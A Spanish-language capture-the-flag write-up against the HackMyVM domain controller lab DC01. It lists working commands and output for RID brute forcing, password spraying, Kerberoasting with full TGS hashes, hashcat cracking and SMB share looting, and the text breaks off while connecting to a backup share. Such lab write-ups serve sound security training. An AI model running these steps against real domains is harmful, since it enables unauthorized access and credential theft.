DC01 de la plataforma HackMyVM, un controlador de dominio Windows Server 2022. A lo largo del camino, utilizaremos técnicas como enumeración SMB, RID brute force, password spraying, Kerberoasting, cracking de hashes y Pass-the-Hash para escalar desde un acceso sin credenciales hasta obtener control total del Domain Controller.
Resumen Ejecutivo
El presente informe detalla el proceso de intrusión realizado contra el controlador de dominio DC01 del dominio SOUPEDECODE.LOCAL. La auditoría reveló múltiples vulnerabilidades críticas que permitieron a un atacante sin credenciales iniciales obtener acceso completo al sistema, culminando con la obtención de privilegios de Enterprise Administrator y la extracción de ambas flags del sistema.
Hallazgos Críticos
- Configuración débil de contraseñas: Usuario con contraseña igual al nombre de cuenta
- Cuentas de servicio con SPNs vulnerables: Contraseña crackeable (
Password123!!) - Backup de hashes expuesto: Archivo con hashes NTLM de cuentas de máquina
- WinRM habilitado: Permite acceso remoto con autenticación NTLM
Impacto
- ✅ Flag de usuario comprometida
- ✅ Flag de administrador comprometida
- ✅ Control total del Domain Controller (Pwn3d!)
Descripción del Entorno
| Propiedad | Valor |
|---|
| IP Objetivo | 10.0.2.4 |
| Nombre Equipo | DC01 |
| Dominio | SOUPEDECODE.LOCAL |
| Sistema Operativo | Windows Server 2022 Build 20348 |
| Servicios Clave | Kerberos (88), LDAP (389), SMB (445), WinRM (5985) |
1. Reconocimiento y Escaneo de Puertos
Iniciamos con un escaneo de Nmap para identificar los servicios críticos del controlador de dominio.
1
| sudo nmap -sCV -v -p 53,88,135,139,389 10.0.2.4 -oG Ports_1.txt
|
Resultado del escaneo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-30 04:15:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
MAC Address: 08:00:27:51:E7:83 (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:51:e7:83
| DC01<00> Flags: <unique><active>
| DC01<20> Flags: <unique><active>
| smb2-security-mode: Message signing enabled and required
|_clock-skew: 8h59m58s
|
2. Enumeración de SMB y Usuarios
Primero, añadimos la resolución DNS en /etc/hosts para facilitar el trabajo:
1
| echo "10.0.2.4 DC01 SOUPEDECODE.LOCAL" | sudo tee -a /etc/hosts
|
Validamos la información del servidor SMB con NetExec (nxc):
Resultado:
1
2
3
| SMB 10.0.2.4 445 DC01 [*] Windows Server 2022 Build 20348 x64
(name:DC01) (domain:SOUPEDECODE.LOCAL)
(signing:True) (SMBv1:None)
|
Enumeración de Usuarios por RID Brute Force
Sin credenciales iniciales, lanzamos un ataque de fuerza bruta de RIDs para extraer la lista de usuarios del dominio:
1
| nxc smb 10.0.2.4 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | cut -d '\' -f 2 > domain_users.txt
|
Utilizamos NetExec (nxc) para validar la seguridad del protocolo SMB y el nombre del sistema. Al no tener credenciales iniciales, lanzamos un ataque de fuerza bruta de RIDs para extraer la lista de usuarios del dominio.
# Comando por mi para extraer los usuarios expuestos por (RID)#
nxc smb 10.0.2.4 -u 'guest' -p '' --rid-brute | grep SidTypeUser | awk '{print$6}' | awk {'print$2'} FS='\' > users.txt
nxc smb 10.0.2.4 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | cut -d '\' -f 2 > domain_users.txt
--rid-brute: Esta técnica enumera los identificadores relativos (RID) del Active Directory. Como el usuario Guest suele estar habilitado o permite ciertas consultas, el DC responde con los nombres de usuario asociados a cada SID.- Filtrado (
grep/awk/cut): Limpiamos la salida para quedarnos únicamente con los nombres de usuario limpios y guardarlos en domain_users.txt.
Parámetros Utilizados
| Flag/Comando | Descripción |
|---|
-u 'guest' -p '' | Autenticación como usuario Guest sin contraseña |
--rid-brute | Enumeración de identificadores relativos (RID) del Active Directory |
grep SidTypeUser | Filtra solo objetos de tipo usuario |
awk '{print $6}' | Extrae la sexta columna (formato DOMINIO\usuario) |
cut -d '\' -f 2 | Separa por \ y toma el nombre de usuario |
Análisis: El usuario Guest permite consultas de enumeración básicas, lo que expone la estructura del directorio activo.
3. Password Spraying: Búsqueda de Credenciales Débiles
Tras confirmar que no había usuarios vulnerables a AS-REP Roasting (usuarios sin pre-autenticación de Kerberos), procedemos con un Password Spraying usando una política común: contraseña igual al nombre de usuario.
1
| nxc smb 10.0.2.4 -u domain_users.txt -p domain_users.txt --no-bruteforce --continue-on-success | grep '[+]'
|
Parámetros Utilizados
| Flag | Descripción |
|---|
-u domain_users.txt | Lista de usuarios a probar |
-p domain_users.txt | Lista de contraseñas (misma lista) |
--no-bruteforce | Prueba solo cada usuario con su propia contraseña, evitando bloqueos de cuenta |
--continue-on-success | Continúa probando aunque encuentre credenciales válidas |
Resultado: Identificamos las credenciales válidas ybob317:ybob317.
4. Enumeración de Recursos con Credenciales
Con acceso autenticado, verificamos los permisos sobre los recursos compartidos mediante smbmap.
1
| smbmap -H 10.0.2.4 -u 'ybob317' -p 'ybob317'
|
Resultado:
1
2
3
4
5
6
7
8
9
10
11
|
[+] IP: 10.0.2.4:445 Name: SOUPEDECODE.LOCAL Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
backup NO ACCESS
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users READ ONLY
|
Parámetros Utilizados
| Flag | Descripción |
|---|
-H | Especifica el host objetivo |
-u | Nombre de usuario para autenticación |
-p | Contraseña del usuario |
Análisis: Obtenemos acceso READ ONLY a carpetas críticas como SYSVOL y NETLOGON, y a la carpeta Users. Procedemos a explorar Users para obtener la primera flag.
FLAG
1
2
3
| smbclient //10.0.2.4/Users -U 'ybob317%ybob317' -c "cd ybob317\\Desktop; get user.txt"
└─$ cat user.txt
6bab1f09a7403980bfeb4c2b412be47b
|
5. Sincronización Horaria con el Servidor
Kerberos requiere una diferencia horaria menor a 5 minutos entre el cliente y el KDC. Sincronizamos la hora antes de continuar:
Resultado:
1
| CLOCK: time stepped by 32399.823935
|
6. Explotación: Kerberoasting Attack
¿Qué es Kerberoasting?
Kerberoasting es una técnica que solicita tickets de servicio (TGS) para cuentas con Service Principal Names (SPNs). Estos tickets están cifrados con la contraseña de la cuenta de servicio, permitiendo cracking offline.
Ejecución del Ataque
Utilizamos impacket-GetUserSPNs para consultar el Active Directory y solicitar tickets TGS:
1
2
3
| impacket-GetUserSPNs -request -dc-ip 10.0.2.4 -outputfile kerberoast_hashes.txt "SOUPEDECODE.LOCAL/ybob317:ybob317"
impacket-GetUserSPNs "SOUPEDECODE.LOCAL/ybob317:ybob317" -dc-ip 10.0.2.4 -request
|
Parámetros Utilizados
|Flag|Descripción| |—|—| |-request|Solicita formalmente el ticket TGS al Domain Controller| |-dc-ip|Especifica la IP del Domain Controller| |-outputfile|Guarda los hashes obtenidos en un archivo|
Resultado:
1
2
3
4
5
6
7
8
| ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
---------------------- -------------- -------- -------------------------- ---------
FTP/FileServer file_svc 2024-06-17 19:32:23.726085 <never>
FW/ProxyServer firewall_svc 2024-06-17 19:28:32.710125 <never>
HTTP/BackupServer backup_svc 2024-06-17 19:28:49.476511 <never>
HTTP/WebServer web_svc 2024-06-17 19:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-17 19:29:18.511871 <never>
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$...:hash_omitted...
|
GetUserSPNs: Consulta al Active Directory qué cuentas de usuario actúan como servicios (ej. SQL, IIS).-request: Solicita formalmente el ticket TGS (Ticket Granting Service) al Domain Controller. Este ticket viene cifrado con el hash de la contraseña de la cuenta de servicio.
Objetivo: Una vez recibido el ticket cifrado, lo extraeremos para realizar un ataque de cracking offline. Como el ticket está cifrado con la clave del servicio, si logramos romperlo, obtendremos la contraseña de una cuenta que probablemente tenga privilegios más altos que nuestro usuario actual.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
impacket-GetUserSPNs -request -dc-ip 10.0.2.4 "SOUPEDECODE.LOCAL/ybob317:ybob317" -outputfile kerberoast_hashes.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------- -------------- -------- -------------------------- --------- ----------
FTP/FileServer file_svc 2024-06-17 19:32:23.726085 <never>
FW/ProxyServer firewall_svc 2024-06-17 19:28:32.710125 <never>
HTTP/BackupServer backup_svc 2024-06-17 19:28:49.476511 <never>
HTTP/WebServer web_svc 2024-06-17 19:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-17 19:29:18.511871 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$2784cb12dd4325d209bc12b2d6d350ac$acef070de420186d8cf0a355d916688124b4ce3dafd51cd825698912dcafe79db8422c8061ace0e288604f646cd15b5dabce70d2e3d808fc8c865d15e8ee7ee18cde0dd38233389f2aa3bedff09d1c209a0decfd54fa708b3fa0962bb0cd7eabca297b69c899b302cdcb3adf538dbdd5cb7b2e15eb33e49b06dd0557390abf2a4395fe4b06ecbfa495c3d3bbe1193e9eea4a730f18995f3fe08d47178b93bf2b4def260d254d8c167a7e3eb49eff80e21a003b82b537b23728cb7bdf2bc3b4ac18168c623491dd0b767054a2f8a76b46bb14040013da386c1d61b0250569af2bb9e208695b76f23580edf8ea7f3f3786f216158a0523d04e3361d85b0b9039c605fddd0058fdd5deefa0e3ba6cd318b497407ebcc729a83958f03a550b6f98ec6fe9ed70d11246c4a53c63724a07fdd14b9cea76bdf9484f3ae23c52e9b709e2141f3242d9bb2fe3c1de049be2fc44a494a01036f8b4909c2d3f0b1d73fbc97f0944bf37d4995cb2ba8dc40e003d7fee6c1710ad3c617dc9cf1f769f06714099d25332765dd7573efcba539a496359ba92ad945ed724927f537a22c7f84d4ead42f203962a40427b24463a12170f51fdfb346e73b08ee4e63ae7518178e47bcaa7aba0b03a0e51eb344420218c40a1d2cb4541263b64efc733b9721293a96a84dd6c83240194fd707ea2f4af322d90bf6774ad0df09ffefebf013c3f5c4a71529f4d58bf246f5bb049862f337517b0064605b2146ba5af40b3915132d3ab8a2fa38a68c8db80c2529000c5e72fb1b217898fa22f8cb0c5973831ed2acb00c54c0211f82bdf4bdae3ea56072bc349b1ebaba96315b8d811e246bec25acbb427df142baa592fb544554040e828f3ac0dcb5416734c9c16c273e1f06b83ffc7a5bc083bdcc135eb46bdffcf1064c8e051d2c37b2791339e30397f4021442078f89a86032c38ef16d61a441c98dbab956e25a72a72b21d203cfb4f40f0f0316912049c503edc4c002913503b238957d403e404f9a4c58bb2220ef221c539f8166461228e3262d8aff743aebe3a538911625224c8adc7578470a5d97ce59268bb2a9b53847b7007fd757faef8c1606bd6e2bba37b501d5521db8c01da93c6f7c8a455e87c40a0d2e1db3e231bd9e813d6fee22c97a24d9bcf98b3a9103e11441d9ee63c5af7a256ba7ed7bcf2eade11f4e13d413d1468adbce4164dce668113b5963e74508fdf7952982c6c76c0538c02596b3dbe3787912b0e6e84dfd3df46e92177daf6348c29c75a0670a397db8832b6a2b62fddb6bcf8c886f54ed8feaea1fcd83ec42dd9020280e10784c262e644bd917a086184d805815da9c5348ddce04fc681e7a60dec176af14a9a2abae7a83672a1f07703d61746f57cb8f4b5560ee8066c7feecd67f7cb5cef9cb1a7de12b23a804711a25190395b82c27ae5d8bc086b15317a0538bb425894d90e6bbaa0487c07f4288c687e26335a04530a9ce7b34bad
$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/firewall_svc*$aa7277e8b10ce548490e6cbd74e0112f$b5ec2ee30b752503f251648eea733271115862334bb7e8f8a9555e7aeb736361fb2c40b495a454654702f2682bc78fd64947b79b1556fdcdbd6d4fdc5ee658f6af99cce0cac995390f4a0af09ad846d68469c3bdb8d8f7c291bf1cfd4234ccc2463fd874678958bc1e2a193603241cce9f4e2f45ce83564e85db14331b6de53c6828194efdb8dd2964242a4bef976e8bf592f854d774d51d26a298aad262ae73d13f8d507a5bf4bd596665080d26be29a8d954aafd1acbbcd7bacfebf18638bfe935471960690ae3ddcb792a2c4f6b74c32feeab9fb89ae9c402b433cf7e7b42b22140925b2508c0a9f04720b25280e22fd2307c396e90fc600f331798e56761ffa4c70a80022421d6245f52ce7ae8b186387ccdee85f606e3aeedbfe7cc1a2eed130c4aaf732d1922b2f885ccf024448192277c9e8fce7ef9805ba116e9d5b5fb127d2d4ded69d1ba0acd500b1b01ed3a8cbd2814ee5ab32474d1d9ed313b45551c9e61b5a12e5bbdbceb2a701dbee810ee0d52db6bfa23bb504c9b3d6f3152c4f078b21a8ec2398567f2cbc810b91234285cd11e9e0f8ffe324e2c10c6e8b10696530ee8c2a3dc0247f838cce6fa4de5f14b2581b602c16b515cf29c576cbc2c31e83170908166ba768e75a2e6fdded48254a044d960377cb6624e26426697aeae745362a14797aa67d3d3879da0b80a40a14efba893fbaf8d139e64aed9cd20b0df9337d71cc43338bded10c6cea49d30ad2384ee2967a95eb99f05264da4f8ca227b36d5aa0fd07a7ea1c8ae6a62d3e4b69c0b8a18ed4f27d502653fe2f6f584075b5f73eb9e0ed2ad8ea759d55f89edf9d36cab4398c4e870362fc66a86b091b8ec1363aa9489ce6b9fdf703218366daa24e5ac0e5891181dce924f46759a2092d0203fa7321cbaee4423456620146814d79db568f9ca397e0eb57872c8963868b56c82a16263775ce35495f15f1502bf39e2b308f7dca977350f887f5e11bbd934103bfe5aea095a39c28e2566ba1b8947e7d743a534290a6a8de27e22f7efd91198307c7738fea9c5bc7a4074671ea61f6f5d983d972bb6d0ef464139b3c6a6ffaf426e50d55ff676891e64c5d17d64afd8f50b5ce885d36541c52fb60039911d1ee332a3199f8ade27d574a9151d7f0e636bbfbed4364321b42f0a92839a5369b1ac606f670f9e302225afcf3f2ee2a472a76b1a46f324dff18292edea01c34816857d37d8df11e55c31760057b555843fec8ad0e709bf0d1d21056628edd8e57fa453658154f66a2e7b7d117541c85e293946a4e971831433eac9d6c929c375e4b00db28a92d1f0c1eb7ed5bef2ff5381c66d0009641b6031e627be875e1af25fea85a5800221eb99deec6c54ba569183038b8d0f4a1fc41f7419e279901f9b40f57a32dacd3718c62fbb09aef5314319392ddf33f5d27db5e4b6428dbf5f4364b35abf4b307de221cc1a0dedc319bf3b308e80bd7b323490c4c38af3
$krb5tgs$23$*backup_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/backup_svc*$cefcad17ffcd606986e0cdc1d6fd3ff2$0066b696bdb69fd7129b7fe2bb7f3d0a8409abdce94a54183d751acab9c8e0c8f2f3bf1fd75ae168c1c01c1a9d08666caffde3b142acd7b2f9ccf633af9053e1d6c33e3a478484a29798e0933ebdb46f416ead2e8acfabfc5a1adbdb1ba09bfff83623fbe94fc89df62f7ca97ee270e997546da9157090d945a0261885179ba95c2e6eb1d6ace0790dfd36f89bfd4096fd83229407b3d825d5d5a8240d8d9a4e9f5555d8a882dce91263325c3d4d5c39581cff1b73bd9e8bccff326fda0ec95cabfc131da6c471e870db821a6f9fe0b22c36003c3f92ca0b0d261ba12f34687bda93e9e75ce67a55a944f34e5a05ff6be6947cb133d59f924825fef00d6c4ef19065d64df46936cb5bb094ba3363586f9d29e61a13757347a64bce7b8abd65f0a9eb09b3b029f191f3b6422d81afa8136d8849d19c75640ed456b618090dcf10ce17b6eca6707e25d81ff4f5fb49924c9005d743d37a509c001b83a195c49d9cc499bc2db2bb6bb3a327046e05a62b0f4cb99b4f03ad8ac2d822cb1080bf4c0e5b2083c1a338c6b24640ebcd17602ca432dcddc84d727bf86b52059e3a758c2d0546c460fee6ce8370e569e8b4dcbf44a371a754442cdb3fc9bb7776a709e40ba48c9aa7aad639472dabb5828f8fdc24947848ba6f2e42a2c3d743f08e2aaf53e30a36e3c6ca8ffd85a01e87fa95cabfcaed30d7eb7022367dbce1e80d4019458203fef8721f870d7d1c4e254391760bb2174fc1c5fc0e7603533df802d90eb5b2fec9f9435eca6ffd283e599df58aeeeb027a3af11cf261b84a40101ce5699472a39071d129f84d05abe6ddd107c660bfae80f3c34a72f6e5d9c27a10c897be72b398b423282b92c9fb559fe9f0e704e3c9e7f0f3913e4f18b327eaacc0119f85c6572a9910a54c12158672055446e035e962b7c6265318e1dd72d274324af2b881b5bd6ed244b10dfcf5ceb327774d05dfc36b2146f74a8195b4756a6086dc607c722d85a5f4d20f5ccf77c16c1f922fb33373b85697ee5298eede98f60e7166e8c09b774234d0c5106733256816834e5410af63ce6661bca8bcad869882240ccf53dfe364a50eb3d5a1f1909f443ec71717e7a99677e3a149670700c221da17d1f25391eda559fa53cd6eefe71d6757e55dd0e7e733edebc80f9f75b843e21a3b5a198c1f03c9c9448b0d3af698a041ae6b36c26e3b68c05f3b83a4202d79d57d43f5c3172ff8a8b03ea3b3359d4438068c8dd5fc496916c0e6a039c12013d5fd4fbeeff10c7a9664b77601d4f03584eef3c472e77f0511c9445b18729948f72de9ff08c144369e00c35ff489369607980964274cdc95f13bafb26e31a4e9c5ceffa711f8bd40011f9673162e2d9d548bf825076bfcae4e6c35fd53ab364e26733095e881e3b52cdfa9e0afd376120aba5a14c3554961142dffd91112dcde6d6d13850fe23f77d61954c959538802704082e0327df6949aa5247ad3ca0920c2
$krb5tgs$23$*web_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/web_svc*$da5a2c946662160b447fe59efdadb62d$9acf4c377c1d8b926ac6728eedd1df4344ae7f5369431da0144a6f69a77e066cdefc29c330cc3a167f445b0c799f62bda190ea4072cc4a32d6b2227f745739d758060b2f070435a12970ba4a37113900a22b5a59c124733e4b7f25b3aa5b673fc479eb811c95e52a0559a677fdab776b5da1f4fef7421ae28f2ee9fcb68a93b8d1fc07aa07eab6eedc6f20eb64e6976ac0cbcbdc38713becd1d3d99854a1bb77f6d217fe63c7630771c3945555a4874c335dfd0c305caa1e5939bb67147831a85dc2d17b07e592796db8798fec4aed631c80562fe02d3d83253683af81e90653eed41aa1204dd75e4ea089d762341029d3777b3298a94e1bab21b324b1cad6b186c27f5964caf06467a9ac071d46dfe558cbb414e30795bf7c285d0fe450a6a3a9803fcfa347242d7a35bb3a97514b0e1c7a2bfa475f8eea490a404e5ed0afa56cab51f0455a6526b02984630614fd170de9c818b119358290adcdc583f6ca651de1484dc90e7af6d4c940f93619337cbab0aae2f4f7acbe6ee035369b216ca237b6d2d38400032c7c792eb090f6780f21805bcf3bc0f6109fb93c3a774cd7283f9f1835d2bdf439bd2fd99fbe0f7f4052391772679569f34a2641e9d6ebf24412bf4e7a541da8be201631a92773bea476b214643738fcfe6833bf0c8ff01cc0ef9b7885804c3841ee16362917092fa42894d36e7f7e2f6ae9fd182c9146ba73a0caad89e699ce05c2f081e89749b608cec3cd68260ce244f46990666901da22750252cd36e5b58d9785b01cb3e3953b4c8def2bdb1d22c21df572f4ea9a8e6551a03215fa777ee577a55433a68be4a5b5454d1899c3fb8f5a1eed71597ed57215b167b0db88612cbafacf237337bb48e50f47d094d852cbb380f487af896cf953c3bd291e9bd3750ab8a58454631797f62336060781a178413fa8ca3f66b1faaaa4e4f795782d507e70fcc2de96963de45fcf8742382db44789bf4eaefc5e312c73843b145f9e14314e3baf37a9805b3e61011d15d041e320210c31768d4b82dc0ce3612b494a98e458b105dd77666df296bbce78e7f143ed96c20e2c5e555f08e4f612879a27ce0fa97c5d63ef1479b05b2b989c94eaba6a509024db2a3aeb75750bcb075eb95d7da0f34121be1f86a6fe6d0a62c98aa0c1b582f59319d16bf079e29f2bae0beb0bc7e797ab5c7e47f21799fdf45840418caaeec2653141132c9e3b81c79e05841d1a68e66d7e1afa502e02e24d63b2b8b7156781254c17423dcdab4ab6c7eb9e8ffe9c2927ac4aabc32128452e5081de2c28bf9b2aa58c859084f30ddf70d39b080e495d59a55ebcde0e68c042d0bcf6a4b48deb35a6eca927e8649b0517c6351ff5f2756fd581014555e1a48e0eb763cd748bf21f35d6cbc35822049c2591fffbb2bb93a3be9b097f1f0b46d78b92142fbb97cd12681e257269d918fec4624e4be88757a71665f4ded2f2c8b7bb78378c0d2ccf8b6a6a66f4
$krb5tgs$23$*monitoring_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/monitoring_svc*$f7d1f05661ced5c146483f433295d900$1a257693e6f83caf9ce83a9d166bcc73d73d6fe32442900d6c31ea4d0dc8d917c5f0143fa9c3ac9370ccf45d1335c9a05c8e436699113257de229b17211a8f58ae60dba311ed3d8f1e542d131e95cda4b8acb5f33662c5de8b19dc8b0a6b647ffcb779c07dd38b57b51c9cf94522f17de420f82dad5ed701bc1c8bf8d2719c10a7830b9fd014c1f91e0067e4898a2e15cb54656f69f63a3ae42c1946a8dd567ca29af0f7937d71897cfa52a6656ca90b7ea57f36d23ad57fb0e0455a8cb42881e501ff372338be6f9d6765638670d9ecd07dc5f20001b14962d45e106743309b31f55f95b1deefe26daddc0bad753c268175c653557aa29780067cba2e094413718442dfbafe09fd3825ac38c5c171abd73745d9e2e9d86058b60d016a5f4cf7ebec520c22930852d85d2a25d721818ba62e4533e8353166fc25709b04ab239126069e46dac76466a679be51d2b39837263b51534432b10667a15f6c3538552a5a6afc223dcd448821be1ae5a38e4a7c4e1b42fca0b2e5b1d5c259319b6ad35beeb92cb914c004b42996a559dfe9498bd591b465a2b7d4ffbb54b573fc5821135474773be5d69e19b4eecbbfa21e14fe49e134499893ada8f44d05b54bdfeb466efa227a5c66026d071416a927a0007437a0a6a298144e275b5e2293457664a424c8a1241a18521702397b28c36c93ba5cb69c5d7385675dbd458ced0f2492a2c9239ab520a8fe02ea3505b6a2d78a4c5846dfd3867bf3b61c0ac69bb6a74e4daaac9bc52c5022750a2c704c63411af9f195edfc9551a2f9ada47b46ead3c48510d456ab798fd54b4de5314a06aa769c09af55ba52f5f9ed061dbd8c5a27d2abf96e9bcdc556b72b172ab3e770b0aad644dba7e9ce515ca425257d2fc7e8176120fb87f0c66ce842f1471950d0f1b99f5777f470b7bcaf2680672f06b03230ae7225fef87949393340517be8a853b54c2a2aa327f90d1fedd333e2133fd3402ce6e5f51da3492ef4d0a64a13ec75e0b0e133017eae4ac9b92fc8fc4ed746afde6ce697c6481f3b4f0bcc11aaeb6cb9df25bff9a1b209ee2ad46449426929db6576f83c4b35f7fe67ac2b2063582e490fded5c823cefb965b4ac1cf2ee8f1affe56a65b2f6ad7ca5df7657f45e6ac2fcba02ab2142b1d2eb660f574fc107e042988259374d1e8ccc6c5c73167562c4b9428c8df4339aa1223c37493a8869cf0b4611d449414789952feeb96c58e55ff474306400eeff74ee074b9675b5fbd6e4388169dcd0ac9343fe606fede45479638db1567a0010f148eafd39a43079c484e7b2d98a9c5850b7ee5bdf10dabb745ea722acc666084f984369038338f4cece249bbe403debd62a9a9b3b57cec5041591f025d2b765f192f241da8b0f7603093fd29cb7c0903ad4030642dbdf96d179d84d137e1c6e7b6909808031362c5bd377cc8a997d56a9c308840e2568ceb218cd955fe4af4ced2782d252c107af608ada7
|
tenemos 4 tickets generados , dejo la separacion de uno para una visualizacion mas clara
1
| $krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$2784cb12dd4325d209bc12b2d6d350ac$acef070de420186d8cf0a355d916688124b4ce3dafd51cd825698912dcafe79db8422c8061ace0e288604f646cd15b5dabce70d2e3d808fc8c865d15e8ee7ee18cde0dd38233389f2aa3bedff09d1c209a0decfd54fa708b3fa0962bb0cd7eabca297b69c899b302cdcb3adf538dbdd5cb7b2e15eb33e49b06dd0557390abf2a4395fe4b06ecbfa495c3d3bbe1193e9eea4a730f18995f3fe08d47178b93bf2b4def260d254d8c167a7e3eb49eff80e21a003b82b537b23728cb7bdf2bc3b4ac18168c623491dd0b767054a2f8a76b46bb14040013da386c1d61b0250569af2bb9e208695b76f23580edf8ea7f3f3786f216158a0523d04e3361d85b0b9039c605fddd0058fdd5deefa0e3ba6cd318b497407ebcc729a83958f03a550b6f98ec6fe9ed70d11246c4a53c63724a07fdd14b9cea76bdf9484f3ae23c52e9b709e2141f3242d9bb2fe3c1de049be2fc44a494a01036f8b4909c2d3f0b1d73fbc97f0944bf37d4995cb2ba8dc40e003d7fee6c1710ad3c617dc9cf1f769f06714099d25332765dd7573efcba539a496359ba92ad945ed724927f537a22c7f84d4ead42f203962a40427b24463a12170f51fdfb346e73b08ee4e63ae7518178e47bcaa7aba0b03a0e51eb344420218c40a1d2cb4541263b64efc733b9721293a96a84dd6c83240194fd707ea2f4af322d90bf6774ad0df09ffefebf013c3f5c4a71529f4d58bf246f5bb049862f337517b0064605b2146ba5af40b3915132d3ab8a2fa38a68c8db80c2529000c5e72fb1b217898fa22f8cb0c5973831ed2acb00c54c0211f82bdf4bdae3ea56072bc349b1ebaba96315b8d811e246bec25acbb427df142baa592fb544554040e828f3ac0dcb5416734c9c16c273e1f06b83ffc7a5bc083bdcc135eb46bdffcf1064c8e051d2c37b2791339e30397f4021442078f89a86032c38ef16d61a441c98dbab956e25a72a72b21d203cfb4f40f0f0316912049c503edc4c002913503b238957d403e404f9a4c58bb2220ef221c539f8166461228e3262d8aff743aebe3a538911625224c8adc7578470a5d97ce59268bb2a9b53847b7007fd757faef8c1606bd6e2bba37b501d5521db8c01da93c6f7c8a455e87c40a0d2e1db3e231bd9e813d6fee22c97a24d9bcf98b3a9103e11441d9ee63c5af7a256ba7ed7bcf2eade11f4e13d413d1468adbce4164dce668113b5963e74508fdf7952982c6c76c0538c02596b3dbe3787912b0e6e84dfd3df46e92177daf6348c29c75a0670a397db8832b6a2b62fddb6bcf8c886f54ed8feaea1fcd83ec42dd9020280e10784c262e644bd917a086184d805815da9c5348ddce04fc681e7a60dec176af14a9a2abae7a83672a1f07703d61746f57cb8f4b5560ee8066c7feecd67f7cb5cef9cb1a7de12b23a804711a25190395b82c27ae5d8bc086b15317a0538bb425894d90e6bbaa0487c07f4288c687e26335a04530a9ce7b34bad
|
Identificación del Tipo de Hash
1
| hashcat --identify kerberoast_hashes.txt
|
Resultado:
1
2
3
| # | Name | Category
===+===============================================+======================================
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
|
Cracking del Hash TGS
1
2
|
hashcat -m 13100 ker_clean.txt /usr/share/wordlists/rockyou.txt -o cracked.txt --force
|
Resultado:
1
| $krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$...:Password123!!
|
Parámetros Utilizados
| Flag | Descripción |
|---|
-m 13100 | Modo de hash para Kerberos 5 TGS-REP |
-o cracked.txt | Archivo de salida con contraseñas crackeadas |
--force | Fuerza la ejecución ignorando advertencias |
7. Movimiento Lateral con Credenciales Obtenidas
Verificación de Credenciales
1
| nxc smb 10.0.2.4 -u 'file_svc' -p 'Password123!!'
|
Resultado: [+] SOUPEDECODE.LOCAL\file_svc:Password123!!
Enumeración de Recursos con file_svc
1
| nxc smb 10.0.2.4 -u file_svc -p 'Password123!!' --shares
|
Resultado:
1
2
3
4
5
6
7
8
9
10
|
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
backup READ
C$ Default share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
Users
|
Acceso al Recurso Backupv
Comprobamos la contraseña
1
2
3
4
| └─$ nxc smb 10.0.2.4 -u 'file_svc' -p 'Password123!!'
SMB 10.0.2.4 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.0.2.4 445 DC01 [+] SOUPEDECODE.LOCAL\file_svc:Pasxx!!
|
1
2
|
smbclient //10.0.2.4/backup -U 'file_svc%Password123!!' -c "get backup_extract.txt"
|
listamos el contenido con SMB MAP
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Enumerar recursos con file_svc
smbmap -H 10.0.2.4 -u 'file_svc' -p 'Password123!!'
[+] IP: 10.0.2.4:445 Name: SOUPEDECODE.LOCAL Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
backup READ ONLY
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users NO ACCESS
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| └─$ nxc smb 10.0.2.4 -u file_svc -p 'Password123!!' --shares
SMB 10.0.2.4 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.0.2.4 445 DC01 [+] SOUPEDECODE.LOCAL\file_svc:Password123!!
SMB 10.0.2.4 445 DC01 [*] Enumerated shares
SMB 10.0.2.4 445 DC01 Share Permissions Remark
SMB 10.0.2.4 445 DC01 ----- ----------- ------
SMB 10.0.2.4 445 DC01 ADMIN$ Remote Admin
SMB 10.0.2.4 445 DC01 backup READ
SMB 10.0.2.4 445 DC01 C$ Default share
SMB 10.0.2.4 445 DC01 IPC$ READ Remote IPC
SMB 10.0.2.4 445 DC01 NETLOGON READ Logon server share
SMB 10.0.2.4 445 DC01 SYSVOL READ Logon server share
SMB 10.0.2.4 445 DC01 Users
|
Conectandonos al recurso backup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Conectar a backup
